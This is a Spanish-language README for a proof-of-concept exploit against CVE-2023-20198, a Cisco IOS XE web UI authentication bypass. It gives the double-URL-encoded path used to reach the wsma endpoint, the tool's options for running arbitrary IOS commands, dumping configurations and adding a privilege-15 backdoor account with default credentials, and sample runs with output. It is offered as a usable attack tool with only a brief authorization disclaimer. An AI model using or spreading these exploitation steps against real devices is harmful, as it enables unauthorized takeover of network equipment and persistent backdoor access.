
Exploit PoC para CVE-2023-20198
Exploit PoC para CVE-2023-20198
Información de vulnerabilidad y uso del exploit proporcionados por smokeinthellos (Ver referencias)
La gestión del endpoint, tipo de contenido http y encabezados ha sido modificada a partir de otros PoCs existentes para funcionar en situaciones donde otros exploits fallan.
CVE-2023-20198 se caracteriza por una validación de ruta incorrecta para eludir el filtrado de Nginx y alcanzar el endpoint web webui_wsma_http sin requerir autenticación.
Al eludir la autenticación al endpoint, un atacante puede ejecutar comandos arbitrarios de Cisco IOS o realizar cambios de configuración con privilegios de Nivel 15.
La investigación de Cisco sobre la explotación activa de la vulnerabilidad previamente no divulgada reveló que los actores de amenazas explotaron primero CVE-2023-20198 para agregar un nuevo usuario con nivel de privilegio 15. Ataques posteriores involucraron la explotación de CVE-2023-20273 para escalar al usuario root del sistema operativo Linux subyacente para facilitar la implantación.
Este PoC explota CVE-2023-20198 para aprovechar dos endpoints XML SOAP diferentes:
Las opciones de verificación de vulnerabilidad, configuración y ejecución de comandos apuntan todas al endpoint SOAP cisco:wsma-exec para insertar comandos en la etiqueta de elemento execCLI.
La opción de agregar usuario apunta al endpoint SOAP cisco:wsma-config para realizar un cambio de configuración y agregar la cuenta de Privilegio 15. Este endpoint podría ser [mal]utilizado para hacer otros cambios de configuración, pero eso está fuera del alcance de este PoC.
El abuso del endpoint SOAP cisco:wsma-exec provino de la plantilla nuclei
El abuso del endpoint SOAP cisco:wsma-config provino del PoC de horizon3ai
Nota: No realicé ninguna de las investigaciones originales ni el desarrollo del PoC para este CVE. Consulte la sección de referencias para los créditos.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
Para verificar CVE-2023-20198, -c intentará explotar la vulnerabilidad para ejecutar uname -a
Ejemplo:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
La opción -g ejecuta sh run para obtener la configuración en ejecución
Ejemplo:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Se pueden ejecutar comandos arbitrarios de Cisco IOS con la opción -e.
Se debe tener extrema precaución al usar esto para hacer cambios de configuración. No hay validación de entrada y los cambios se aplican inmediatamente a la configuración en ejecución.
Ejemplo:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
La opción -a se puede usar para crear una nueva cuenta de usuario con Privilegio 15, opcionalmente especificando el nombre de cuenta y la contraseña con -u y -p respectivamente.
Ejemplo:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
La opción -d se puede usar para eliminar una cuenta de usuario del dispositivo, y respeta el nombre de usuario especificado con -u.
Se debe tener precaución para asegurarse de no estar eliminando una cuenta legítima.
Esto se agregó para casos donde no se puede obtener acceso shell/webui a un Cisco explotado. Se observó que agregar un usuario de Privilegio 15 no otorga acceso webui y podría llevar a dejar artefactos de explotación en los hosts.
Aviso de Cisco
Investigación de horizon3ai sobre CVE-2023-20198
PoC de horizon3ai para CVE-2023-20198
Plantilla de nuclei para CVE-2023-20198 (Autores: iamnoooob, rootxharsh, pdresearch)
PoC de LeakIX para CVE-2023-20273
PoC de smokeinthellos para CVE-2023-20198
El código contenido en este proyecto está destinado únicamente para investigación y uso en sistemas donde el usuario tiene autorización explícita.
El autor de este proyecto no es responsable por el mal uso del software.
Úselo responsablemente y no sea malvado.